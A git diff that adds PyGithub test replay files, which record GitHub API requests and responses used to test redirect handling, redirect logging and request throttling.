Content'), ('x-ratelimit-remaining', '4941'), ('x-github-media-type', 'github.v3; format=json'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D0B4:6161:CBE73FE:F6C4EF4:58AD4917'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('x-served-by', '52437fedc85beec8da3449496900fb9a'), ('date', 'Wed, 22 Feb 2017 08:17:27 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user'), ('x-accepted-oauth-scopes', ''), ('x-ratelimit-reset', '1487754126')] - - diff --git a/tests/ReplayData/Requester.testBaseUrlHostRedirection.txt b/tests/ReplayData/Requester.testBaseUrlHostRedirection.txt new file mode 100644 index 0000000000..057da907ae --- /dev/null +++ b/tests/ReplayData/Requester.testBaseUrlHostRedirection.txt @@ -0,0 +1,9 @@ +https +GET +www.github.com +None +/repos/PyGithub/PyGithub +{'User-Agent': 'PyGithub/Python'} +None +301 +[('Content-Length', '0'), ('Location', 'https://github.com/repos/PyGithub/PyGithub')] diff --git a/tests/ReplayData/Requester.testBaseUrlPortRedirection.txt b/tests/ReplayData/Requester.testBaseUrlPortRedirection.txt new file mode 100644 index 0000000000..e4ec08ee28 --- /dev/null +++ b/tests/ReplayData/Requester.testBaseUrlPortRedirection.txt @@ -0,0 +1,9 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'User-Agent': 'PyGithub/Python'} +None +301 +[('Content-Length', '0'), ('Location', 'https://api.github.com:443/repos/PyGithub/PyGithub')] diff --git a/tests/ReplayData/Requester.testBaseUrlPrefixRedirection.txt b/tests/ReplayData/Requester.testBaseUrlPrefixRedirection.txt new file mode 100644 index 0000000000..08772d66fb --- /dev/null +++ b/tests/ReplayData/Requester.testBaseUrlPrefixRedirection.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/api/v3/repos/PyGithub/PyGithub +{'User-Agent': 'PyGithub/Python'} +None +301 +[('Content-Length', '0'), ('Location', 'https://api.github.com/repos/PyGithub/PyGithub')] + + +https +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 09 May 2023 08:03:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c4bbbf57b6ff21caac0b59dec0ae83b3b9e66a234db40e22ee60c1b26b771a3f"'), ('Last-Modified', 'Tue, 09 May 2023 07:44:21 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '55'), ('X-RateLimit-Reset', '1683622021'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '5'), ('Accept-Ranges', 'bytes'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'C22C:5529:6AEA2F:6BEA9A:6459FE6B')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-05-09T07:44:21Z","pushed_at":"2023-05-09T07:33:55Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13824,"stargazers_count":5996,"watchers_count":5996,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1628,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":258,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1628,"open_issues":258,"watchers":5996,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1628,"subscribers_count":115} diff --git a/tests/ReplayData/Requester.testBaseUrlSchemeRedirection.txt b/tests/ReplayData/Requester.testBaseUrlSchemeRedirection.txt new file mode 100644 index 0000000000..e04e8bcd67 --- /dev/null +++ b/tests/ReplayData/Requester.testBaseUrlSchemeRedirection.txt @@ -0,0 +1,9 @@ +http +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'User-Agent': 'PyGithub/Python'} +None +301 +[('Content-Length', '0'), ('Location', 'https://api.github.com/repos/PyGithub/PyGithub')] diff --git a/tests/ReplayData/Requester.testLoggingRedirection.txt b/tests/ReplayData/Requester.testLoggingRedirection.txt new file mode 100644 index 0000000000..4f0827bccc --- /dev/null +++ b/tests/ReplayData/Requester.testLoggingRedirection.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/EnricoMi/test +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +301 +[('Server', 'GitHub.com'), ('Date', 'Tue, 09 May 2023 06:52:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '150'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'admin:repo_hook, delete_repo, read:repo_hook, repo, repo:status, repo_deployment, security_events, write:repo_hook'), ('github-authentication-token-expiration', '2023-06-08 06:12:06 UTC'), ('Location', 'https://api.github.com/repositories/638123443'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1683617929'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C484:49F3:317517:31F05B:6459ED9B')] +{"message":"Moved Permanently","url":"https://api.github.com/repositories/638123443","documentation_url":"https://docs.github.com/v3/#http-redirects"} + +https +GET +api.github.com +None +/repositories/638123443 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 09 May 2023 06:52:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"851839f10d426070ef6e5fb497f190a4fdc29bcfc6b77ec6dbeaa7bedafbd759"'), ('Last-Modified', 'Tue, 09 May 2023 06:14:05 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-08 06:12:06 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1683617929'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C48E:F5B6:2DB7D8:2E32F1:6459ED9B')] +{"id":638123443,"node_id":"R_kgDOJgj9sw","name":"test-renamed","full_name":"EnricoMi/test-renamed","private":true,"owner":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"html_url":"https://github.com/EnricoMi/test-renamed","description":null,"fork":false,"url":"https://api.github.com/repos/EnricoMi/test-renamed","forks_url":"https://api.github.com/repos/EnricoMi/test-renamed/forks","keys_url":"https://api.github.com/repos/EnricoMi/test-renamed/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnricoMi/test-renamed/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnricoMi/test-renamed/teams","hooks_url":"https://api.github.com/repos/EnricoMi/test-renamed/hooks","issue_events_url":"https://api.github.com/repos/EnricoMi/test-renamed/issues/events{/number}","events_url":"https://api.github.com/repos/EnricoMi/test-renamed/events","assignees_url":"https://api.github.com/repos/EnricoMi/test-renamed/assignees{/user}","branches_url":"https://api.github.com/repos/EnricoMi/test-renamed/branches{/branch}","tags_url":"https://api.github.com/repos/EnricoMi/test-renamed/tags","blobs_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnricoMi/test-renamed/statuses/{sha}","languages_url":"https://api.github.com/repos/EnricoMi/test-renamed/languages","stargazers_url":"https://api.github.com/repos/EnricoMi/test-renamed/stargazers","contributors_url":"https://api.github.com/repos/EnricoMi/test-renamed/contributors","subscribers_url":"https://api.github.com/repos/EnricoMi/test-renamed/subscribers","subscription_url":"https://api.github.com/repos/EnricoMi/test-renamed/subscription","commits_url":"https://api.github.com/repos/EnricoMi/test-renamed/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnricoMi/test-renamed/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnricoMi/test-renamed/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnricoMi/test-renamed/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnricoMi/test-renamed/contents/{+path}","compare_url":"https://api.github.com/repos/EnricoMi/test-renamed/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnricoMi/test-renamed/merges","archive_url":"https://api.github.com/repos/EnricoMi/test-renamed/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnricoMi/test-renamed/downloads","issues_url":"https://api.github.com/repos/EnricoMi/test-renamed/issues{/number}","pulls_url":"https://api.github.com/repos/EnricoMi/test-renamed/pulls{/number}","milestones_url":"https://api.github.com/repos/EnricoMi/test-renamed/milestones{/number}","notifications_url":"https://api.github.com/repos/EnricoMi/test-renamed/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnricoMi/test-renamed/labels{/name}","releases_url":"https://api.github.com/repos/EnricoMi/test-renamed/releases{/id}","deployments_url":"https://api.github.com/repos/EnricoMi/test-renamed/deployments","created_at":"2023-05-09T06:13:40Z","updated_at":"2023-05-09T06:14:05Z","pushed_at":"2023-05-09T06:13:40Z","git_url":"git://github.com/EnricoMi/test-renamed.git","ssh_url":"git@github.com:EnricoMi/test-renamed.git","clone_url":"https://github.com/EnricoMi/test-renamed.git","svn_url":"https://github.com/EnricoMi/test-renamed","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"private","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"AKVBE3OMGQYHDOJWMHTJI3DELHXMO","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","network_count":0,"subscribers_count":0} diff --git a/tests/ReplayData/RequesterThrottled.testShouldDeferRequests.txt b/tests/ReplayData/RequesterThrottled.testShouldDeferRequests.txt new file mode 100644 index 0000000000..4bbe2aca92 --- /dev/null +++ b/tests/ReplayData/RequesterThrottled.testShouldDeferRequests.txt @@ -0,0 +1,43 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"590cc0c8c908cfbaa795edefd9fa4b424dce1cf509b00ec3b791186ca4ca01b0"'), ('Last-Modified', 'Mon, 10 Jan 2022 15:54:04 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4640'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '360'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA74:10A67:499835A:4B3ECF3:61DC5706')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-01-10T15:54:04Z","pushed_at":"2022-01-10T12:57:13Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13607,"stargazers_count":5001,"watchers_count":5001,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1428,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":165,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1428,"open_issues":165,"watchers":5001,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":true},"temp_clone_token":"","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1428,"subscribers_count":108} + +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/releases?per_page=10 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ee105f8b9e3d3e3feb1b7cd35ad11da16ab8358bed8ed27376bc94cf985e21c0"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4639'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '361'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA76:10FD2:8738F60:895D8B5:61DC5706')] 